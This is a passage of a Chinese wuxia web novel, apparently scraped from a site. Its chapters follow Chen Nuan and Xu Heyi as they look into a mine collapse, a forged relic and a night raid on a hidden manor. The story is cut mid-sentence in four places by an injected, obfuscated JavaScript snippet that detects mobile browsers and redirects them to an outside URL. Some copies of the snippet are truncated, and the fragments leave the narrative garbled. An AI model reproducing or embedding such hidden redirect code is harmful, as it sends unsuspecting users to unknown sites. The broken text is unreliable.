“大人,您可一定要为草民做主啊!”年轻点的小伙再次大声哀嚎,这句话自他进来已经喊了不下六七遍。 “我们父子二人本就路过,见此恶女光天化日之下持刀杀人,本想带她来报官,不曾想她竟把我们父子直接打倒在地。大人……你看……”另一位年长点的人则膝行至座上人的脚边,撩开自己的衣袖,上面有着青青紫紫的痕迹,“上面都是她打我弄出来的痕迹。” 座上的张铸揉了揉太阳穴,在放下手的时候用衣袖挡住了无法控制的呵欠。他已经坐在这里听这对父子的状告,有了半个时辰。 他算是听明白也看明白了,眼前这对父子是仗着城外发现陈暖动武,想要报官要点赏钱,偏偏还贪心,状告她动手打人。 城外动武并不是什么大罪,但状告习武之人对百姓动手性质就不一样了。 更何况堂下躺着的这位,据他调查还和百清堂的堂主许和意有点渊源。 张铸再次安抚他们:“你先别急,此事事关重大,待会儿会有人来处理。” 张铸此刻在心中是又念又盼:怎么还不来?怎么还没来? 大概过了半盏茶的时间,一个下人一路小跑进来:“大人,百清堂堂主来了。” 张铸立刻从椅子上站起来,语速极快:“速速请进来。” 张铸在原地踱了几步,再看向院中时,就看到一个人被引了进来。 走在最前面的人身形修长,身着深紫色鎏金广袖,头戴靛蓝色发冠,漆黑如墨的发丝上坠着细小串珠,串珠尾部是彩色的翎羽,在阳光的照射下泛着流光。举手投足间尽显世家公子的风范,但坚定有力的步伐带着不容置喙的气势。观其眉目舒展的样子,以为是个温和如玉的公子,但那凌厉的眼神却让人望而生畏。 张铸一直都是只听“许和意”大名,今天是第一次见到真人,不禁被他身上所散发的气势所震慑。 “大人!大人!下官恭迎大人——” 许和意刚抬脚进来,就看到身着官服的人一个大礼跪在自己面前,让他一时之间不知道该不该进这间屋子。 “起来吧。” 许和意看到陈暖还躺在地上一动不动,要不是看到她还起伏的胸膛,怕是以为没气了。 那对父子看到来了个比望涉司指挥使还要官大的人物,眼神彼此对视了一下,又打算故技重施。可是哭喊话音还没出来,就被对方垂眸投来的一瞥吓到硬生生咽了回去。 许和意用眼神示意刚站起来的张铸:“你说,怎么回事?” 许和意只听张铸讲了个大概,就明白到底是怎么一回事。他蹲下直接将自己的身份令牌给那对父子看,然后缓声道:“这个人是我手下,若还有疑问,就问指挥使要‘百清堂’的所在之地,去敲那门前立着的‘百清鼓’。” 那对父子一听“百清堂”的名字,心中发怵,又听到让他们敲“百清鼓”,更是吓得不再敢吭声。 若问他们为什么不去百清堂报官,当然是因为理亏…… 这个原因在场的人都非常清楚。 一直躺在地上的陈暖突然感觉照射在身上的和煦阳光被遮挡,她睁开了一只眼,看着逆着光的人。 “走了。” 陈暖听到他的一声令下,立马从地上爬起来,匆忙朝着张铸作了个揖,就跑了出去。 耳边终于得到清净的陈暖长长吐出口气,察觉到身边站了人,便规规矩矩、像模像样地朝他郑重行礼:“小女子感激许大人的心如明镜。” 许和意无视她的插科打诨,寒声问她:“杀人是怎么回事?” 陈暖淡淡吐出的两个字,直接让许和意无言以对—— 挣钱。 陈暖看着许和意头也不回地走了,突然想到了什么,叫住了他:“许大人,且等一下!” 许和意停住脚步,回头望着她,虽然没有说话,但脸上已经带了点不耐烦。 陈暖小跑几步到他身边,低声道:“为了报答刚才许大人百忙之中的搭救,接下来的事你听好了……城东外面的壹号无极矿,有人混了进来。” 许和意抓住陈暖的胳膊,往前一个侧身,阻挡住她离开的脚步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16952518|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对她说:“讲清楚再走。” 陈暖略使内力将他的手拿走,狡黠一笑:“买我的消息,得掏银子。” 许和意看着她两个手指在自己眼前对搓,便也不再理她,重新上马。 “驾!” 陈暖看着他驾马离开,轻“啧”了一声——不是说玉桑许家财力无双吗?当真如此铁公鸡? 许和意回到百清堂的第一件事,就是让梁声把周庚云叫来。 陈暖这个人虽说有时候看着不着调,行事也随心所欲,但若事关他人性命,却是比谁都要认真。 周庚云一进来就看到许和意站在一个支架面前,那支架上平铺着一张地图,上面绘有涉州城外大小各个地方的无极矿脉。 “大人,您找我?” 许和意听到他的声音,让他近前,问道:“近日各处矿脉可有异样?” 周庚云虽然不清楚自家大人为什么发此疑问,还是一五一十地汇报各个地方无极矿脉的开矿进度,以及采矿后的主要去向,最后还将详细的账目名册呈给许和意看。 许和意翻看着他递上来的名册,发现里面只有主要负责人的姓名,并没有那些矿夫的名字。 “其他人的名字呢?” 周庚云明白许和意是什么意思,连忙答道:“具体的矿夫名册还在望涉司那里,属下已经派人去一一核查了,大概明日卯时就能将整理好的名单送过来。” 许和意想了一下,摇头道:“直接派一些人手去望涉司,将所有与无极矿有关的名册都带回来。” 周庚云张了张嘴,最后还是不确定地问了一下:“全部带回?” 虽说无极矿脉发现也才两年,但因为受朝廷管辖,使得所有与矿脉相关的事情都要一一进行详细记录。这么一来,那记录的名册怕是要堆得如小山一般高了。 许和意点头,掷地有声:“对,全部。” 若真如陈暖所说,挖掘无极矿脉的地方有别的人混进来,那么望涉司中所有与无极矿脉相关的记录就极有可能涉嫌捏造。 事关整个涉州城,这件事,需要从一开始的源头查起。 “回来了?” 纪灵刚放下汤匙,就看到陈暖推门而入。 陈暖看到纪灵面前桌子上是丰盛的美味佳肴,立刻眼睛冒光:“好纪灵,快快给我盛一碗粥,我快要饿疯了。” 纪灵一边给她盛粥,一边打趣她:“我以为你不用吃饭,不用睡觉,明日就要羽化登仙了呢。” “呸!呸!呸!你这说的什么话……” 陈暖连喝几口粥,又夹了几筷子菜后才勉强安抚住自己饥肠辘辘的肠胃。 纪灵看她狼吞虎咽,问道:“把那节衡木给别人看过了?” 陈暖停住了吃饭的碗筷,仿佛记忆突然恢复一般:“哎呀坏了!我给忘了!今早上我出城接单去了……”都怪那个许和意! 陈暖立刻不顾形象地扒拉几口饭菜,话音还没落下,人就不见了踪影:“我出去了!” 虽然说书已经接近尾声,但酒肆内依旧人头攒动,许多人都还意犹未尽。 陈暖见台上的人开始收拾东西,便逆着人流走到后堂,倚靠着门框静静等待。也就半盏茶的功夫,陈暖听到前厅突然传来一阵骚动,紧接着就是桌椅板凳挪移的动静,她猜到说书已经彻底结束。 果不其然,随后视线中就出现了一个行走缓慢的身影,只不过这次不同往日一般孤身一人,因为陈暖看到了紧随其后的一个少年。这少年她再熟悉不过,因为昨夜他们才在温家打了照面。 陈暖立刻上前扶住走在前面的老人,语气恭敬:“支叔,东西我拿到了,还需要请您掌眼一观。” “进来吧。” 支玉林等少年倒完茶水后,就让他到门外候着。 陈暖指了指刚走出去的人,问支玉林:“这位是?” 支玉林将药茶一饮而尽,看了眼映在门上窗户的影子:“我的外孙,前几日刚出师。” 陈暖了然点头,也不再多问,便将藏于袖中的神山衡拿出来放到桌上:“这就是在温家发现的。” 支玉林就只是扫了一眼,不用拿起仔细看,就回答陈暖:“假的。” 虽说陈暖本来心中就有结论,如今真正听到这句话还是感到好奇:“是从哪看出来这是假的?” 22. 惊变(上) “砰砰砰!!!” 城东的一处地方突然接连响起一阵异动,紧接着灰尘扬起几丈高,那动静让附近林子里的鸟都惊得振翅飞起,乌压压地盘旋在空中。 “洞塌了——快跑啊——” “死人了!” “还有人在里面——” 一个穿着粗布短打衣服的矿夫面带惊恐,一边跑,一边大喊:“快跑!快跑!!!” 他的身后是瞬间倾塌的山洞,扬起的尘土和碎石宛如溃决的河流一般汹涌向前,眼见着下一息就要直接将他吞没,一个人影从侧边闪过,将其带离原地。 在矿外拉车的人见到这场景,立刻夺命狂奔,但有些来不及逃跑的人还是被无情埋在这黄土之下…… “啪——啪——啪——” 明亮的阳光透过四周大开的窗户照进屋内,笼罩在半躺在卧榻之上、正在闭目感受温暖的温凌萱身上。当她听见鞭子抽打声停止的时候,娥眉轻蹙:“继续打。” 屋内声音再度响起,张铸看一眼地下跪着的人那已经血肉模糊的后背,瞬间感觉那玉竹鞭好似抽在自己身上一样,吓得他立刻眼观鼻、鼻观心。 当温凌萱喊“停”的时候,跪在地上的那人已经去了半条命。 张铸看着他被人拖下去,心中顿时警铃大作,明白轮到自己了。 温凌萱看着低头不敢看自己的张铸,一想到无极矿坍塌的事情,就恨铁不成钢地冷声道:“我当真不知,你们竟是这般废物无能!” 张铸虽然没有等来鞭子落下,却等来了这句更令他羞愧的冰冷话语。 “崔书雪呢?” 张铸连忙回道:“崔公子今日出城去了,说是申时回来。” “去喊乔鹤过来。” 收到矿场坍塌消息的乔鹤早早就在屋外等候,看到张铸用像见救命恩人的眼神看自己的时候,他知道轮到自己为他们擦屁股了。 温凌萱见乔鹤进来,直接将放在床榻旁边矮桌上的一把钥匙丢给他。乔鹤慌忙隔空接住钥匙,虽然不敢细看,但内心已经有了猜测,顿觉苦不堪言——他最不喜欢干的事就是和人打交道。 “百清堂那里肯定已经收到消息,必须在他们到来之前处理干净,有些弃子可以直接舍去。这是私库钥匙,里面钱财尽管支取,安抚好幸存人的情绪,若有胡搅蛮缠者,你自己看着办。”温凌萱虽然没有明说,但这话外之音已经很明显了。 她捕捉到乔鹤脸上闪过一丝为难的神情,突然想到这个乔鹤好似从未处理过这种情况,便补充道:“若没有头绪,去找崔书雪身边的那对双生兄弟,问问他们当初是怎么安抚下君来那些剩余眷属的。” 乔鹤这么一听立刻心中焦虑放了大半,人也变得精神了:“属下记住了。” “而你……”温凌萱看着一听自己点名就立马把头低下的张铸,一时之间都要怀疑自己当初为什么选了这么个人当望涉司的指挥使,明明刚开始的时候这人干活也挺机灵的。 “名册都准备好了?” 张铸一听是问这个,立刻来了自信:“今日一早名册都被百清堂的人拿走了,小姐放心,保证万无一失。” “嗯,都退下去处理事情吧。” 张铸连忙作揖,然后倒退着出门,生怕晚了那鞭子会重新到自己身上。 “哎,乔侍卫——”张铸看到乔鹤擦肩而过,连忙叫住他。 “何事?” 张铸见他停步,立刻凑上前低声问:“你可知婚宴还会如期办吗?” 对方虽然没有回答,但是用一脸不解的表情回答了他,他又再次补充:“小姐受了这么严重的伤,眼看着离定好的婚宴也没几日了……” 乔鹤:“……” 乔鹤有时候真的觉得面前这个人很会伪装,刚开始真以为是能干的人,后来发现只是表面能干,但偏偏他每次错漏都能完美避开,每次问罪时总有人替他先挡在前面受罚。 “还请大人做好自己的事,其余的事小姐自有安排。告辞。” 我这不是还没准备好嘛! 张铸叫苦不迭,婚宴当日必定人群聚集,况且还有大事发生,必须要找个足够大的场地才行。然而近期百清堂频繁动作,以至于他至今还没想好到底要怎么安排。 这不,活又来了。 张铸远远就看到手下的人正一脸焦急地朝自己小跑而来,他长长叹了口气,认命迎上。 “咳咳……” 梁声还没踏入坍塌地界就被空气中弥漫的灰尘和粉末呛了个实在,他连忙把袖中的遮口戴上,跟上前方许和意的脚步。 许和意看着一具具从塌陷矿场里挖出来的尸身,正陆续从自己身侧抬过,缓缓停下脚步,伫立良久。在听到有人快步赶来的脚步声,侧头扫了一眼来人。 张铸被他骇人的目光吓得呆在了原地,踌躇了一下,又再次上前:“大……大人……” “说。” 人精般的张铸自然明白,今日要是说不清楚,不用等到明日,今夜怕是自己就会人头落地。 张铸将登记了涉州城入城人员的名册,呈给许和意:“是前日夜里有人假借喻家家眷之名混入城内,借着暗道潜入无极矿洞中,顶替矿夫试图将无极矿私运出城,不曾想竟引发此矿塌陷。” 旁边的梁声见自家大人并没有翻看的打算,便立刻将名册接过来。 “哦?”许和意听完他汇报的前因后果,转身看向他,“这城中暗道从何而来?外人又从何处得知?” “回大人,这城中暗道遍布,只是因为几年前城内偶然走水,火势烧了两天两夜。后来前城主下令在城内地下修建水道,以防再有走水之事发生。至于这些人从何处得知……” 张铸觑了下许和意的神色,发现无从得知他此时心中所想,便立刻跪地,声音中带着悔恨:“是属下监管不力,望涉司内出了告密之人……不过大人放心,属下已经将此人以鞭刑惩戒。” 许和意点头,但没有对他刚才所说发出任何回应,张铸只得继续跪在原地。 “大人小心——” 梁声刚从别的地方探查回来,远远就看见左侧林子深处有暗箭破空,直冲许和意而来。 许和意灵巧侧身,顺便把已经吓呆了的张铸也拉到了一边。 张铸回头看到自己被许大人拖拽的跪痕,立马回魂,赶紧站在许和意身后躲避第二波的暗箭。 啪的几声脆响,数枚箭矢撞上凌空砸来的石块,被弹开数尺远,甚至有一两枚应声断裂。 许和意用刀将剩下的箭矢砍断,回头看向石块飞来的方向,就看到一个戴着遮口灰头土脸的女子,熟悉的人手上正来回抛着几块碎石。 那人见到许和意看到了自己,立刻露齿笑道:“又见到了,许大人。” 她边走过来,边将手上剩余的石块接连打掉阴魂不散的箭矢,待走到许和意身边时说道:“愿为大人效劳,记得付个辛苦费。” 陈暖确定他听到后,拿起许和意手边的刀就直冲向树林方向。 梁声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“呃……”陈暖看着他包扎灵活的手,很想说“你把你的刀拿走,我不就有手给自己包扎了吗”。 “怎么了?” “没事……”陈暖放弃,算了,反正都要好了。 没成想这人包好自己的左手,直接将自己右手拿着的刀插进土里,又开始给自己包扎右手了。 陈暖抬头望天:自己刚才怎么没想过这么做…… 算了,反正这只手也要包好了…… 陈暖抬起双手看了看,点头认可:“许大人,手艺不错。” 陈暖见许和意也满意地跟着点头,想了想:“既如此……那就为了感谢许大人这不错的包扎手艺,给你个东西。” 许和意就见她抖了抖袖口,然后伸手掏出了一块衡木递给他。 此木通体色红且泛着微褐,手感细腻,其内有浅色丝纹,上有多处裂口,明显有被人尝试多次劈开的痕迹。虽看着不起眼,但在手中拿着却极其有分量。 许和意把玩着这块衡木,直接开门见山:“从温家拿的?” 陈暖不意外他会这么说。那夜从进温家起,一直紧紧跟随她的那几个百清卫虽然中了“三秋梦”,但此无形无色的迷药只能衔接人的记忆,并不能创造一个不属于自己的经历或者记忆。因此细推言语,被发现也是迟早的事。 “许大人对此物有何高见?” “假的。” 陈暖惊讶:“你如何看出?” 神山衡没被焚毁前,这温家将其看得比性命都重要,更不要提让别人把玩。再说后面圣上派人将其焚毁时,这人也还没上任,不应该见过此物。 许和意笑了笑,一语中的:“若是真的,你还会将它拿给我看?” “也是。”陈暖认可地点了点头,指着它,“此物确实是赝品,但是这两天,已有多人获得了这块赝品,且信以为真。” 23. 惊变(中) 天色尚未完全暗下来,一百零八声的暮鼓也才刚敲响完毕,涉州城外一处位置隐蔽的庄子里,早已经被烛火照得亮如白昼。 此时大堂内已经聚了一二十人,有老有少,或坐或立,再观其装扮和行为,能明显看出他们身份迥然不同。然而这些人却有一个共同之处——皆在神情亢奋地互相交谈,又时不时回头望一眼门口,似在等什么人的到来。 大堂内一处偏角落的地方,有两个人正在努力融入这个环境,力图当个不被人注目的参与者。 “我说大哥,你别沉默啊,快随便说几句话……有人在看我们了。”陈暖用胳膊肘捣了捣旁边抱臂静立的许和意,一边从牙缝里挤出来一句话,一边面带微笑地回看别人投来的目光,并点头致意。 陈暖本以为像他这样常常面带微笑、装得一副温和亲近的模样,最是能说会道。没想到这才短短半天,她就看出来这人是一只笑面哑巴虎。 早知如此,她就应该一个人来这探查假神山衡的踪迹,而不是带个只会站桩的真木头! 殊不知不管他俩说话与否,堂内其他人都时不时会看他们一眼,毕竟面容出挑,让人忍不住猜想他们是何关系。慢慢地,这二人就变得越来越显眼。 陈暖感觉到他们的目光正逐渐从打量变成猜疑,轻啧了一声。她环顾四周,选了一个正靠在门边,频繁往外看的一个少女。她侧头对许和意说:“跟上。” 然后许和意就看到身边的人唇角微弯,随之显现的梨涡令原本气质有些清冷的她变得平易近人。陈暖当然也懂得利用这一点,于是很快便和面前这个素昧平生的人交谈起来。 “这位是……?” 和陈暖热情聊天的李昕蓉看见原来一直站在陈暖身边,那个虽面带病弱之色,但难掩俊逸容貌的男子朝这里走来,便向陈暖问出了众人心中共同的疑惑。 陈暖偏头看了下刚站在自己身后的人,回头对李昕蓉笑道:“是我的师弟。实不相瞒,这次来就是为了他。” 许和意听后挑了下眉,如果没记错,当初查她的户籍,貌似她还比自己小两岁,而且……这就开始编造身份了? 李昕蓉又看了一眼站在陈暖旁边但一言不发的男子,不禁感到新奇:“我这几天遇到不少人要么因为钱,要么因为想要获得绝世武功,而不远百里、千里乃至万里来这里寻找神山衡。可看你们二位好像并没有表示很热衷的样子,还以为只是来一睹神山衡的真容。” 陈暖不好意思笑道:“实不相瞒,我这个师弟因身患异症需要找流云山主医治,想借此宝让流云山主出山。起初是打算一起参与夺宝的,没想到我们二人来到这里,见到此间堂内聚了这么多赫赫有名的英雄侠客,自觉争夺不过,便打算放弃……之所以还没退出,确实是想一睹此宝物的真容。” 陈暖话音刚落,就听到身后人传来短促的咳嗽声,接着闻到一股浓郁的药味。她缓慢转头,恰巧看到许和意将一颗黑褐色的药丸丢进嘴里。陈暖虽面上不露声色,眼里却带着点难以言说的意味: 没想到戏还挺多,准备的还挺全。 “这样啊……”李昕蓉再看向许和意时,那目光就带着些怜悯。看这二人略显朴素的装束,想必所属门派也并非大宗派,要不然怎会连一个带队的长者都没有。也还好这二人懂得知难而退,要不然怕是要殒命在此次夺宝活动中。 “我和姑娘也投缘,既是不参与夺宝,那这次就由我来负责二位的安全!” 陈暖其实刚开始进来的时候就注意到了她,出水芙蓉般的脸庞上还稚气未脱,眉眼间尽是灵动,以及对各种事物遮掩不住的好奇,最关键的是这个女子身后背着一个剑匣。 剑客背剑不稀奇,但剑客背着个剑匣,再加上此女子姓李,那在整个江湖中就只有“剑神”世家——李氏。 陈暖抱拳道:“那我们二人就先多谢李姑娘的好心照拂了。” 许和意也抱拳以示感谢,接着和陈暖短暂对视了一下,站在李昕蓉的身后,和堂内其他人一齐望向院子。 只见乌压压一群人鱼贯而入,很快就站满了整个院子。为首的是个虽须发皆白,但依旧健步如飞,看起来精神矍铄的老者,其左右两侧是一男一女——男的就是“剑神”李氏如今的当家人李升泰,而另一位则是他的夫人陆玉芳。 “没想到这李氏一族没落至此,竟甘愿被''青衫客''霍秋霖驱使。” “毕竟李家那小丫头也堪堪只能发挥那剑匣中的剑四成威力,这一家人都在指望着这小丫头呢。” “小丫头、小丫头的叫,你像她这年岁怕是连那剑都拔不出来,更别提挥出剑气了。” 那人被旁边人这一句话堵的哑口无言。“剑神”这名头其实乍一听挺唬人,实际上那剑匣里的剑已经百年未出鞘。直到极具天赋的李昕蓉降生,给早已成为人们茶余饭后闲谈的李氏一族,带来重振“剑神”威名的曙光。 陈暖看了一眼明显听到这些话,却依旧面不改色的李昕蓉,心中不禁对她刮目相看。她看着还年纪尚小,没想到还挺沉得住气。这么看来心性确实不一般,怪不得她能拔出那把剑。 李昕蓉感觉到有人安抚般地拍了拍自己握紧拳头的手,回头就看到陈暖正以鼓励的眼神望着自己,忍不住笑了下,原本紧绷的身子也放松下来。 为了拔剑,这一路的苦只有她自己清楚,而结果已经显而易见。像这种奚落言论早已无法真正激怒她,只会促使她更努力地精进自己。 为首的霍秋霖,及李氏夫妇二人入座后,堂内其他人也都陆陆续续地落座,陈暖与许和意也赶紧找了个角落的座位坐下。 霍秋霖扫视了一眼众人,便道:“劳烦各位久等……那我们现在就开始?” 他见众人一致点头,等侍卫将绘有周遭山林的舆图推至身侧后,便道:“昨夜收到线人来报,那处暗庄距离我们大约七八里,在一处隐秘峡谷中。四周有温家亲信把守,外围有五处瞭望台,侍卫一炷香轮换一次,每队八人。” “把守得这么严……” 不知是谁率先嘀咕了这一句,瞬时激起了千层浪,于是一片担忧声此起彼伏。 霍秋霖见到此情此景,就抬起双手往下压了压,堂内逐渐恢复了安静,只留他镇定自若且胸有成竹的话语:“如此严防死守,足以可见里面定有我们想要的东西。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17014848|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那不知霍老是否知道……温家那位神秘人可也在暗庄里?” 从坐下来就一直没开口的李升泰听到有人如此问,便简短道:“诸位放心,此人并不在暗庄内,且近几日他已经外出,不必再有后顾之忧。” 许和意听后几不可查地皱了下眉头,察觉到陈暖疑惑的目光,便冲她微微摇了摇头,否定了他的话。 “那不知我们要如何进入呢?这暗庄地势险要,万一谷中两侧山壁有埋伏,那我们怕是有去无回。” 霍秋霖不回答这个人的问题,反问其他人:“各位可还记得前两日,那壹号无极矿洞坍塌的事情?” 他见众人纷纷点头,便提高了声音,继续道:“虽然我对那些逝者表示很痛心,但就因为这次坍塌事件,让我发现了一个暗道。此暗道连接两处民间驿道,而这民间驿道又恰巧通往这暗庄的一侧山壁。因这山壁曾被泥石截断,这路也就自然被废弃。但在座各位并非那些手无缚鸡之力的凡夫俗子,你们手中的刀剑、以及身体内蕴含的磅礴内力,不仅可以锄强扶弱,还能证明自己有那劈山填海般的威能!” 陈暖通过他这先抑后扬的一段话算是听明白了两点,一是这是要让他们来当苦力了,二就是确认了那矿洞坍塌确是人为,且这么看来根源就在那个暗庄里。 不……确切说还有第三点—— 陈暖看着其他人蜂拥而上围在舆图四周,兴致高昂地开始明确各自分工。 这里面有人在和霍秋霖一唱一和、推波助澜。 “这阵仗,还真挺大……”陈暖看着乌泱泱的人踏着已经完全暗下来的天色,往壹号无极矿塌陷的地方快速移动,“你那些散落在各地的百清卫呢?没收到一点消息?” 许和意瞥了她一眼:“要是没有收到消息,你觉得我还能和你在这吗?师姐?” 陈暖被他刻意压低声音的“师姐”二字喊得直接起了鸡皮疙瘩,克制住自己听到后想要呕吐的感觉,跟上他的步伐,再次问他:“就这么不管?” 许和意漫不经心道:“管什么,等这些人意识过来自己是在干免费苦力,能留下三成都还算多的。” 当陈暖看到无极矿洞那边只有零星几个人把守在塌陷地周围的时候,就知道这人决定跟她混进队伍时,对如今的局面就早有准备。 不过也确实正如许和意所说,刚开始人们还热情高涨,但在清理道路时很多人就逐渐意识到哪怕这路通了,他们也无法从那些强者手中抢到那神山衡。于是人们就三五成群地接连退出,直到所剩之人竟连许和意所说的三成都不到。 一直在关注人群动向的霍秋霖见也才刚子时过半,就少了快八成的人,面上虽然不显山、不露水,但心里一直悬着的大石总算落地。 刚开始他看到有如此多的人冲着那暗庄里的神山衡而来,就感到棘手。虽然不知道暗庄内藏有几截,但这么多人怎么可能够分,于是他就提出以武定人的要求,最终筛选出了当时院中的那些人。可人还是太多,又都多是江湖上有点名号的人物,不好得罪太多人。于是他便暗中与人配合,计划出了这一遭…… 现在看来,效果还挺不错。 24. 惊变(下) “……城内的人也都已经安顿好。” 崔书雪将刚写好的信递给萧肃,见他既汇报完了事情,也拿了信件,但还杵在自己面前,就问:“还有事?” “公子,关于城外壹号无极矿塌陷的消息有新情况出现。” 崔书雪将身体靠在椅背上,闭上眼睛按着有些酸胀的眼眶:“这件事不是乔鹤在处理吗?” 萧肃踌躇了一下,然后道:“乔鹤确实是把事情处理好了,但是昨日上午壹号那边官府和望涉司不知为何将看守的人多数都撤走,现场只留下了几个人。” “既然事情都处理好了,那些人在那待着也是无用。” “但是……那暗道还没有来得及全部填上……” 崔书雪睁开眼,面无表情地看着萧肃。 萧肃被他盯得浑身发毛,只能继续硬着头皮汇报,心里却是把乔鹤骂了个狗血喷头。 “听乔鹤说,事发当天夜里,他就命人趁百清卫看守换班时悄悄潜入,将暗道填上。本来时间是来得及,但是不曾想后半夜大雨突至,直接把那处浇得遍地泥泞。伴随着大雨,又发生了小范围的坍塌和山洪,只能停止。前日早上雨过天晴后,乔鹤再派人去看,发现那一片已经全部被泥石掩埋,于是就……” 崔书雪见他不再说后面的话,就语调阴沉地接上他的话头:“于是就觉得暗道被泥石堵上了,就没想着再继续找人,对吧?” 萧肃低着头,不敢看他此时此刻的表情,只是点了点头。 崔书雪顿时感觉这次不止眼睛疼,连手都开始疼了,很想把乔鹤暴打一顿来止疼。他揉了揉额角,问:“温凌萱知道这事吗?” 萧肃正想回答他的问题,就听到自家公子已经自问自答了—— “她应是不知……要不然早就派人重新填上了……” 崔书雪站起身,往院中走去。四月初的夜风还仍旧带着寒意,许是前几日下过雨的缘故,近期常常被薄云笼罩的星子如今变得清晰可辨,月晕也早已消散,月光再次倾洒大地。 他根据星月位置判断此时约摸丑时一刻,然后又看了眼在黑夜里几乎辨不清轮廓的两侧山壁,将站在自己身后的萧肃唤来。 “去准备一下,挑一些人留下来,剩下的人一刻钟后离开此地。” 萧肃似是早已准备好,对自家公子做的这个决定并不意外,只是突然想到了某个人,问:“公子,那个人该如何处置……” 崔书雪垂眸,然后突然抬起自己的右脚,给刚跳到自己脚边的一只蚂蚱让路,在看到它又重新跳到另一侧草地里时开口道:“留下吧。” 山风穿谷而过,带着凉意,吹得许和意闷咳了几声。 陈暖听到他的咳嗽声,往后退了一步,用真气凝声对他小声道:“行了啊……再演可就过了……” 她站在许和意前方,将挡在自己前面的石头用剑气劈开,许和意则用真气把即将崩落至山壁下的碎石凝为一体,那被碎石凝成的团块被许和意身后的人用真气接住,然后挨个传递到后方。 就这样轮换着,他们在丑时半就已到达暗庄左侧山壁的上方。 霍秋霖探头望了一眼下方,只能看见零星亮光,那是位于山谷底部的暗庄四周瞭望台里发出的光亮。 他理了理被风吹乱的衣摆,看着站在狭小山路上的众人,以真气凝声,声音在山风的裹挟下清晰地传入众人耳中:“龙牙爪数量有限,各位最好结伴而行,但人心难测,稍有不慎就会死无葬身之地。所以诸位,我们下面见……” 陈暖见霍秋霖说完话就将手中的龙牙爪扣在山路边沿,人紧接着就拽着龙牙爪另一边的绳索翻身跳下了山崖。之前同他在院中一唱一和的三人站在龙牙爪两边,一来防止有人暗中毁坏,二来是万一有意外发生时,他们能争取些时间,及时给出霍秋霖生还之机。 其他人忍不住探头往下看,除了猎猎山风以外就是一片漆黑,连那谷底的零星光芒都好似黄泉路上的引魂灯一般——毕竟这摔下去可是真的死无葬身之地。 为防止有人意外坠崖发出喊叫声被暗庄守卫发现,他们都事先喝了一个时辰内不能发出声音的“杜口散”,因此内力高的人以真气凝声,内力较低的人则连比划带猜,各自挑选自己的短暂同盟。 李昕蓉向陈暖传声:“陈姑娘,你们先站在原地不要动,一会儿我的两个亲信会到你那边。” 废弃的狭窄山路要想通过两人,只能彼此侧身,在不知周围人底细的此刻,要想交换位置,站在原地的人只会愿意后退靠在道路内侧的山壁上,而另个想要通过的人就只能走在道路外侧,脚下就是深不见底的山崖。 陈暖看着左边不远处又一人跌落山崖,因为人群的遮挡看不清现在站在原地的人是何模样,但在场的所有人不会天真地认为他是失足坠崖。 陈暖对许和意说:“你先下。” 在上面她可以确保许和意的安全,毕竟百清堂堂主要是因为被人陷害死在这,这片江湖会真的从沉寂变为死寂。而若是下去的过程中死掉,那只能说是他功夫不济。 虽然后面许和意在下去的过程中出了点小意外,不过好在一切都有惊无险。 刚落到地面的陈暖转身就看到站在旁边等待的许和意和李昕蓉,她走近了才看到许和意的衣衫有多处被撕扯的痕迹,手上也有明显因为借力而产生的擦伤,样子着实有些狼狈。 陈暖这才想到他现在的身份,是自己那带病的师弟,当他落单时,自然会成为有心人陷害的对象,更何况处在如此极端的环境下…… 许和意接收到陈暖带有询问的目光,冲她摇了摇头示意无碍。 大约等了半盏茶的时间,霍秋霖就带着李升泰和陆玉芳从不远处走来,陈暖看到他们三人手中的剑上还有血在往下滴。 霍秋霖看着面前留下的十数人,开口低声道:“四周看守的人都已解决。诸位,进了这暗庄,生死以及能否找到神山衡……就看各人的本事了。” 其他人见霍秋霖能开口说话,以为“杜口散”的药效过了,便尝试开口。但多数人依旧无法出声,他们便意识到若是内力高深,这药效就会在体内消散得快一些。 “蓉儿,过来。” 李昕蓉听到母亲在喊自己,便向陈暖递了个眼神,示意他们跟上。 陆玉芳打量着跟在自己女儿身后的一男一女,观那男子内力不算深厚,俊朗的脸庞上带着几分病弱的气色,一身狼狈,明显在下来的过程中经历过一番打斗;而那位女子…… 陆玉芳看到对方碰到自己打量的目光也毫不躲避,脸上也是一派镇定自若,丝毫不担心被自己看出什么。她和李升泰对视了一眼,不用李昕蓉多说什么,就对她道:“那就让他们跟上吧。” 那容貌昳丽的女子明显内力在自家女儿之上,而李昕蓉却没有看出……不过有自己在,这二人也翻不起什么风浪。 陈暖见陆玉芳并没有深究他们二人的身份,便心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 